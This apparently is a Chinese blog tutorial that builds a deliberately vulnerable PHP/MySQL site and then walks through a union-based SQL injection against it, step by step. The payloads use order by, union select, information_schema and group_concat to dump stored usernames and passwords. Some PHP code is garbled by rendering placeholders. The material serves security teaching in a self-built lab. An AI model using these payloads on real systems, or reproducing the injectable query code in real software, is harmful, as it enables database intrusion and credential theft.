【网络安全】初探SQL注入漏洞

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: 【网络安全】初探SQL注入漏洞

前言

1. 设计思路

要想玩SQL注入,一个简单的数据交互页面是需要的,故我们用PHP做一个简易网页,有登录、注册和首页三块内容。

登录需要输入账号密码,等待提交后进入系统;

注册需要输入名字,密码,手机号,照片,等待提交后进入系统;

首页需要利用PHP和数据库联动后的查询语句,设计一个快捷查ID页;

在简易数据交互网站搭建好之后,我们利用浏览器提交的参数存在的漏洞,修改构造参数,提交SQL查询语句,并传递至服务器端,从而获取想要的敏感信息。

2. 设计目的

获取网站管理员账号和登录密码

image.png

一、网站快速搭建

最简单的网站,具备登录注册两个功能,还有登录后进入的主页,利用的技术是HTML+PHP+SQL

1. 登录页

在根目录下新建一个shiyan的文件夹,在下面新建login.php,先写一个大标题“请输入账号以及密码”,在输入账号和密码后,有提交按钮,要利用PHP语句对提交信息进行核实,若与数据库中存储信息一致,则进入系统。不一致则在最下方返回登录失败。

在这需要使用数据库连接的功能,为了方便,我将数据库连接写成conn.php文件,直接在login.php中调用即可。

image.png

<?php
    //调用数据库连接文件
    include("conn.php");
    //接收传递的用户名和密码
    {
   
   mathJaxContainer[0]}_POST['username'];
    {
   
   mathJaxContainer[1]}_POST['password'];

    //数据库查询语句
    //判断输入的账号和密码是否与数据库中内容对应
    {
   
   mathJaxContainer[2]}username' and pass='$password';";
    //连接数据库
    {
   
   mathJaxContainer[3]}conn2,$uapsql);
    // var_dump($reslust);
    // var_dump();

    //登录成功判断
    //加@隐藏报警信息
    if(@mysqli_num_rows($reslust)){
   
   
        //强制跳转游戏页
        header('Location:youxi.php');
        session_start();
        $_SESSION['login']='true';
    }else{
   
   
        $login = "登录失败";
        $_SESSION['login']='false';
    }
?>

<html>
    <head>
        <meta charset=utf-8>
    </head> 
    <h1>请输入账号以及密码</h1> 
    <form action="" method="post" ></br>
        <input type="text" name="username"> </br>
        <input type="password" name="password"> </br>
        <input type="submit"> 
    </form>
    //添加注册超链接
    <a href="zhuce.php">点击注册</a></br>
//将登录信息显示
<?php echo $login;?>

</html>

2. 注册页

新建zhuce.php,基本框架是form表单下输入的信息。我们将输入的信息传递给PHP处理,由参数name、password1、pasword2等等来接收用户提交数值。

然后对传递到的值进行判定,加一些限制条件,比如密码长度为8位,且两次输入密码必须相同,手机号为11位、上传照片类型为jpg格式。

用php对以上条件做出一定的限制,当他们都成立时,注册成功,并在表单的最下方显示部分注册信息,方便调试排除错误。

image.png

<head>
    <meta charset="utf-8">
</head>

<?php
    include("conn.php");

    {
   
   mathJaxContainer[4]}_POST['name'];
    {
   
   mathJaxContainer[5]}_POST['password1'];
    {
   
   mathJaxContainer[6]}_POST['password2'];
    {
   
   mathJaxContainer[7]}_POST['shouji'];
    {
   
   mathJaxContainer[8]}_FILES['tupian'];
    {
   
   mathJaxContainer[9]}_FILES['tupian']['name'];

    // echo $name,$password1,$password2,$shouji,$tupian;
    if($_SERVER["REQUEST_METHOD"] == "POST"){
   
   
        if(empty({
   
   mathJaxContainer[12]}password1) || empty({
   
   mathJaxContainer[13]}shouji)){
   
   
            $ERR="账号密码、手机号码不能为空";
        //密码长度8位,密码两次输入一致
        //密码验证
        //手机11位
        //文件上传jpg
        }elseif(strlen($password1)<8){
   
   
            $ERR="密码长度不足八位";
        }elseif({
   
   mathJaxContainer[14]}password2){
   
   
            $ERR="两次输入密码不一致";
        }elseif(strlen($shouji)!="11"){
   
   
            $ERR="手机号码格式有问题";
        }else{
   
   
            // echo $_FILES["tupian"]["name"];
            if (file_exists("tupian/" . $_FILES["tupian"]["name"])){
   
   
                echo $_FILES["tupian"]["name"] . " 文件已经存在。 ";
            }else{
   
   
                // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
                move_uploaded_file({
   
   mathJaxContainer[15]}_FILES["tupian"]["name"]);
                // echo "文件存储在: " . "tupian/" . $_FILES["tupian"]["name"];
            }
            $sqlinsert="insert into kkk_tbl(user,pass,phone,file) 
                value('$name','$password1','$shouji','$tupianname');";
            var_dump($conn2);
            if(mysqli_query({
   
   mathJaxContainer[18]}sqlinsert)){
   
   
                $ERR="注册成功</br>";
            }else{
   
   
                $ERR="注册失败</br>";
            }; 
        }
    }
?>

<form action="" method="post" enctype="multipart/form-data" > 
名字:
    <input type="text" name="name" > <br> 
    密码:
    <input type="password" name="password1" ><br> 
    重新输入密码:
    <input type="password" name="password2" ><br> 
    请输入手机号码:
    <input type="passwrd" name="shouji" ><br> 
    上传头像:
    <input type="file" name="tupian" ><br> 
    <input type="submit" value="提交">
</form>
//返回结果
<?php
    echo $ERR;
     echo "你注册的用户为:".$name."</br>";
     echo "你注册的手机号码:".$shouji."</br>";

?>

<img src="<?php echo "tupian/".$_FILES["tupian"]["name"]; ?>"

3. 数据库连接页

同样,新建conn.php文件,服务器为本地127.0.0.1,数据库管理员为root,密码为root,数据库名为kkk。通过执行php语句来创建数据库。

image.png

<head>
    <meta charset=utf-8>
</head>
<?php
    $servername = "localhost";
    $username = "root";
    $password = "root";
    $dbname = "kkk";

    // 创建连接
    {
   
   mathJaxContainer[19]}servername, {
   
   mathJaxContainer[20]}password);
    {
   
   mathJaxContainer[21]}servername, {
   
   mathJaxContainer[22]}password, $dbname);

    // 检测连接
    if (!$conn) {
   
   
        die("连接失败: " . mysqli_connect_error());
    }else{
   
   
        // echo "数据连接成功</br>";
        if(mysqli_connect({
   
   mathJaxContainer[23]}username, {
   
   mathJaxContainer[24]}dbname)){
   
   
        // // echo "数据库表已经存在";
        // $conn2 = mysqli_connect($servername, $username, $password, $dbname);
        }else{
   
   
            echo "开始自动创建数据库</br>";
            {
   
   mathJaxContainer[27]}dbname;
            mysqli_query({
   
   mathJaxContainer[28]}sql);
            echo "数据库创建成功</br>";

            $createtbl="CREATE TABLE IF NOT EXISTS `kkk_tbl`(
                `id` INT UNSIGNED AUTO_INCREMENT,
                `user` VARCHAR(10) NOT NULL,
                `pass` VARCHAR(10) NOT NULL,
                `phone` VARCHAR(11) NOT NULL,
                `file` VARCHAR(30) ,
                PRIMARY KEY ( `id` )
             )ENGINE=InnoDB DEFAULT CHARSET=utf8;";

             {
   
   mathJaxContainer[29]}servername, {
   
   mathJaxContainer[30]}password, $dbname);
             mysqli_query({
   
   mathJaxContainer[31]}createtbl);
             echo "数据表创建成功</br>";
        }
    }
// mysqli_close($conn);
?>

4. 首页(登录后跳转到此处)

新建youxi.php文件,功能设计简单,主要是利用SQL查询,来显示用户名和用户ID。

在首页设计最上方,回显登录后的session信息提示(方便调试bug,可删),中间一个标题,一个超链接链接到查询页。

image.png

为什么要设计一个session信息多此一举呢,主要是因为该页面存在逻辑漏洞,即渗透人员不需要登录也能访问,故在没有session为true的认证下,用户无法查看该页面内容。

image.png

<?php
    include('session.php');
?>

<html>
    <head>
        <mate charset="utf-8">
        <h1>游戏页面</h1>
        <a href="select.php">点击查找账号以及ID的对应关系</a>
    </head>
</html>

5. session页

新建session.php
对登录页登录状态的检测,为真成功登录,为假则无法访问登录页的下一页。

<?php
    session_start();
    echo $_SESSION["login"];
    if ($_SESSION["login"] == true) {
   
   
        echo "您已经成功登陆<a href='zhuxiao.php'>点击注销</a>";
    } else {
   
   
        $_SESSION["login"] == false;
        die("您无权访问,<a href='login.php'>点击跳转登录页面</a>");
    }
?>

6. 注销页

新建zhuxiao.php

在登录后想要彻底退出,就需要注销该session的状态,设置为false。销毁后强制转到登录页面。

<?php
    session_start();
    $_SESSION["login"]='false';
    session_destroy();
    header('Location:login.php');

?>

7. 查询页

新建select.php
查询需要利用数据库,故调用conn.php数据库连接文件,查询功能属于首页中的一部分,故需要session权限赋予,调用session.php文件。

它将从数据库表中查询到的id和user信息返回到下方显示,在标题上方的提示信息同样为了调试更快

image.png

<?php
    include('conn.php');
    include('session.php');

    {
   
   mathJaxContainer[32]}_GET['chaxun'];

    if(is_numeric($chaxun)){
   
   
        {
   
   mathJaxContainer[33]}chaxun;";
    }else{
   
   
        {
   
   mathJaxContainer[34]}chaxun';";
    }

    {
   
   mathJaxContainer[35]}chaxun;";
    echo $chaxun;
    // echo $chaxun;
    {
   
   mathJaxContainer[36]}conn2,$chaxun);
    {
   
   mathJaxContainer[37]}lianjie);
    {
   
   mathJaxContainer[38]}row['user'];
    {
   
   mathJaxContainer[39]}row['id'];
    // var_dump($lianjie);
    // while($row=mysqli_fetch_assoc($lianjie)){
   
   
    //     $user=$row['user'];
    //     $pass=$row['pass'];
    //     $phone=$row['phone'];
    //     echo "user:".$user.""."pass:".$pass."</br>"."phone:".$phone."</br>";
    // }
?>

<html>
<head>
<mate charset="utf-8">
    <h1>请输入你要查询的id或者账号名字</h1>
    <form action="#" method="get">
        <input type="text" name="chaxun"> 
        <input type="submit" > 
    </form>
<?php
echo "id:".{
   
   mathJaxContainer[45]}user."</br>";
?>
</head>
</html>

8. 数据库

我在这用的是mysql5.7,命令行登录进去可以更直观看到表中信息

image.png

二、SQL注入实例(小试牛刀)

简单练习一下SQL漏洞注入原理,无实战价值。

1. 猜测漏洞逻辑

以网站中该php网页为例,在浏览器源代码中可以看到使用网站使用PHP做数据交互。

网页可以输入的值只有id和user,故猜想PHP代码中会将浏览器传递的id和user赋值为一个新的变量。

image.png

因为我们作为开发者,知道网页的实现逻辑,是可以通过传递过程中$chaxun值的改变来做SQL注入。而对其他陌生网页,代码逻辑还需要不断尝试猜测。

image.png

SQL注入的核心,就是通过传值接口操作数据库语句,来达到我们预期的结果。

2. 猜字段个数

会发现,网页中SQL语句结构是这样的

注入的一个思路就是利用 ' 和 --+ 或者 # 注释没用的内容,把我们想要查询的语句传递过去。

image.png

在找到SQL注入的点后,猜字段大多数使用order by,对其进行排序来获取字段数量

第1次尝试

在文本输入框输入下面语句,代替之前的值

admin'order by 1

无结果,发现多余的单引号影响语句运行
image.png

第2次尝试

我们就利用SQL语句的一些特性,将其注释,消除影响

admin'order by 1 or '1'='1

可以看到,结果返回id和用户名,证明该语句在注释掉后面内容后,能够实现排序操作

image.png

接下来我们利用这个突破口进行多次尝试,来确定字段个数

第3次尝试

admin' order by 2#'

排序语句生效
image.png

第4次尝试

admin' order by 3#'

排序语句生效
image.png

第5次尝试

admin' order by 4#'

排序语句生效

image.png

第6次尝试

admin' order by 5#'

排序语句生效

image.png

第7次尝试

admin' order by 6#'

排序语句无效,说明表中字段只有5个

image.png

通过几次尝试后,我们确定了字段个数,接下来就需要字段位置,名称

3. 猜字段名称

我们利用查询语句,查找回显的位置

第1次尝试

admin'union select 1,2,3,4,5#'

返回符合预期,但是无法判断字段的位置
image.png

第2次尝试

我们把admin变为空值,这样在传值后,会将id和user用12345中数字表示出来,进而可以确定字段位置

-admin'union select 1,2,3,4,5#'

说明,第一个字段是id,第二个字段是user

image.png

4. 猜数据库名

由于上面已经得出id和user的确切位置,所以我们只需要在对应位置上将其替换为两个输出函数即可得出结果

第1次尝试

-admin'union select user(),database(),3,4,5#'

得出数据库名是kkk,数据库用户是本地root
image.png

我们的目的是拿到账号和密码,现在知道库名kkk,库的用户root,库中的表有五个字段并且第一个字段是id,第二个字段是用户名

但是密码字段在哪,内容是什么我们并不知道

所以我们对数据库表进行注入

5. 猜数据库表

想要猜表中对应密码字段下的内容,我们先得知道表名是什么

在这我们需要用到一个数据库中特殊的表,information_schema.tables 是一个特殊的表,里面存放着数据库中的所有表

select * from information_schema.tables;

在数据库命令行中执行,返回结果是这样的

image.png

但我们现在无法进入数据库操作台,我们只能利用查询语句中的语法漏洞来通过注入sql语句返回我们想要的内容

第1次尝试

查询kkk数据库下的表所有内容

-admin'union select user(),database(),3,4,5 from information_schema.tables where TABLE_SCHEMA="kkk";#'

返回结果没有达到预期

image.png

仔细看会发现,我们的注入语句中没有指定查找的表中具体信息,查找条件无法精准定位到表

第2次尝试

所以我们将第一位的user()函数和第二位的database()函数改为id为1和表名table_name,这样,在执行这条语句后,服务器会根据table_name返回表名。

-admin'union select 1,table_name,3,4,5 from information_schema.tables where TABLE_SCHEMA="kkk";#'

可以看到,表名是kkk_tbl

image.png

现在我们知道表名,表的前两个字段名,但其余字段如何获取呢,就需要对剩余字段名进行猜测

第3次尝试

利用同样的方法,对其余字段进行查询,让它在第二位输出列名colum_name,即字段名

-admin'union select 1,column_name,3,4,5 from information_schema.columns where TABLE_name="kkk_tbl";#'

结果发现,输出内容只有字段中第一个id,剩下4个字段并未显示
image.png

第4次尝试

所以我们需要对SQL注入语句进行优化,将所有返回数值用字符串的形式在第字段第二位一起返回。利用group_concat()函数实现

-admin'union select 1,group_concat(column_name),3,4,5 from information_schema.columns where TABLE_name="kkk_tbl";#'

结果输出五个字段的名称,分别是id、user、pass、phone、file

image.png

到此为止,我们知道了数据库名kkk,数据库用户root,表名kkk_tbl,表中字段个数5,字段名分别是id、user、pass、phone、file。

距离获取密码只差最后一步

在得知表中第三位字段是密码后,我们用同样的方法,尝试

第5次尝试(密码爆破成功)

利用group_concat()函数,输出该表下所有的用户和密码数值

-admin'union select 1,group_concat(user,pass),3,4,5 from kkk_tbl;#'

结果符合预期,两个用户,admin和111,密码分别是123456和12345678
image.png

我们在命令行中检查一下数据正确性

image.png

完全符和

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
7天前
|
存储 SQL 安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
随着互联网的普及,网络安全问题日益突出。本文将介绍网络安全的重要性,分析常见的网络安全漏洞及其危害,探讨加密技术在保障网络安全中的作用,并强调提高安全意识的必要性。通过本文的学习,读者将了解网络安全的基本概念和应对策略,提升个人和组织的网络安全防护能力。
|
8天前
|
SQL 安全 网络安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
随着互联网的普及,网络安全问题日益突出。本文将从网络安全漏洞、加密技术和安全意识三个方面进行探讨,旨在提高读者对网络安全的认识和防范能力。通过分析常见的网络安全漏洞,介绍加密技术的基本原理和应用,以及强调安全意识的重要性,帮助读者更好地保护自己的网络信息安全。
30 10
|
9天前
|
SQL 安全 网络安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
在数字化时代,网络安全和信息安全已成为我们生活中不可或缺的一部分。本文将介绍网络安全漏洞、加密技术和安全意识等方面的内容,并提供一些实用的代码示例。通过阅读本文,您将了解到如何保护自己的网络安全,以及如何提高自己的信息安全意识。
37 10
|
9天前
|
存储 安全 网络安全
网络安全的盾与剑:漏洞防御与加密技术的实战应用
在数字化浪潮中,网络安全成为保护信息资产的重中之重。本文将深入探讨网络安全的两个关键领域——安全漏洞的防御策略和加密技术的应用,通过具体案例分析常见的安全威胁,并提供实用的防护措施。同时,我们将展示如何利用Python编程语言实现简单的加密算法,增强读者的安全意识和技术能力。文章旨在为非专业读者提供一扇了解网络安全复杂世界的窗口,以及为专业人士提供可立即投入使用的技术参考。
|
8天前
|
安全 网络安全 数据安全/隐私保护
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
在数字化时代,网络安全和信息安全已成为我们日常生活中不可或缺的一部分。本文将深入探讨网络安全漏洞、加密技术和安全意识等方面的问题,并提供一些实用的建议和解决方案。我们将通过分析网络攻击的常见形式,揭示网络安全的脆弱性,并介绍如何利用加密技术来保护数据。此外,我们还将强调提高个人和企业的安全意识的重要性,以应对日益复杂的网络威胁。无论你是普通用户还是IT专业人士,这篇文章都将为你提供有价值的见解和指导。
|
9天前
|
安全 网络安全 数据安全/隐私保护
网络安全与信息安全:漏洞、加密与意识的艺术
在数字世界的迷宫中,网络安全和信息安全是守护者之剑。本文将揭示网络漏洞的面纱,探索加密技术的奥秘,并强调安全意识的重要性。通过深入浅出的方式,我们将一起走进这个充满挑战和机遇的领域,了解如何保护我们的数字身份不受威胁,以及如何在这个不断变化的环境中保持警惕和适应。
19 1
|
8天前
|
存储 安全 网络安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
在数字化时代,网络安全和信息安全已经成为了我们生活中不可或缺的一部分。本文将介绍网络安全的基本概念,包括网络安全漏洞、加密技术以及如何提高个人和组织的安全意识。我们将通过一些实际案例来说明这些概念的重要性,并提供一些实用的建议来保护你的信息和数据。无论你是网络管理员还是普通用户,都可以从中获得有用的信息和技能。
11 0
|
8天前
|
安全 网络安全 数据安全/隐私保护
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
在数字化时代,网络安全和信息安全已成为全球关注的焦点。本文将探讨网络安全漏洞、加密技术以及提升安全意识的重要性。通过深入浅出的解释和实际案例分析,我们将揭示网络攻击的常见手段,介绍加密技术如何保护数据安全,并强调个人和企业应如何提高安全防范意识。无论你是IT专业人士还是普通网民,这篇文章都将为你提供宝贵的信息和建议,帮助你在网络世界中更安全地航行。
|
9天前
|
存储 监控 安全
云计算与网络安全:云服务、网络安全、信息安全等技术领域的融合与挑战
本文将探讨云计算与网络安全之间的关系,以及它们在云服务、网络安全和信息安全等技术领域中的融合与挑战。我们将分析云计算的优势和风险,以及如何通过网络安全措施来保护数据和应用程序。我们还将讨论如何确保云服务的可用性和可靠性,以及如何处理网络攻击和数据泄露等问题。最后,我们将提供一些关于如何在云计算环境中实现网络安全的建议和最佳实践。
|
11天前
|
监控 安全 网络安全
网络安全与信息安全:漏洞、加密与意识的交织
在数字时代的浪潮中,网络安全与信息安全成为维护数据完整性、保密性和可用性的关键。本文深入探讨了网络安全中的漏洞概念、加密技术的应用以及提升安全意识的重要性。通过实际案例分析,揭示了网络攻击的常见模式和防御策略,强调了教育和技术并重的安全理念。旨在为读者提供一套全面的网络安全知识框架,从而在日益复杂的网络环境中保护个人和组织的资产安全。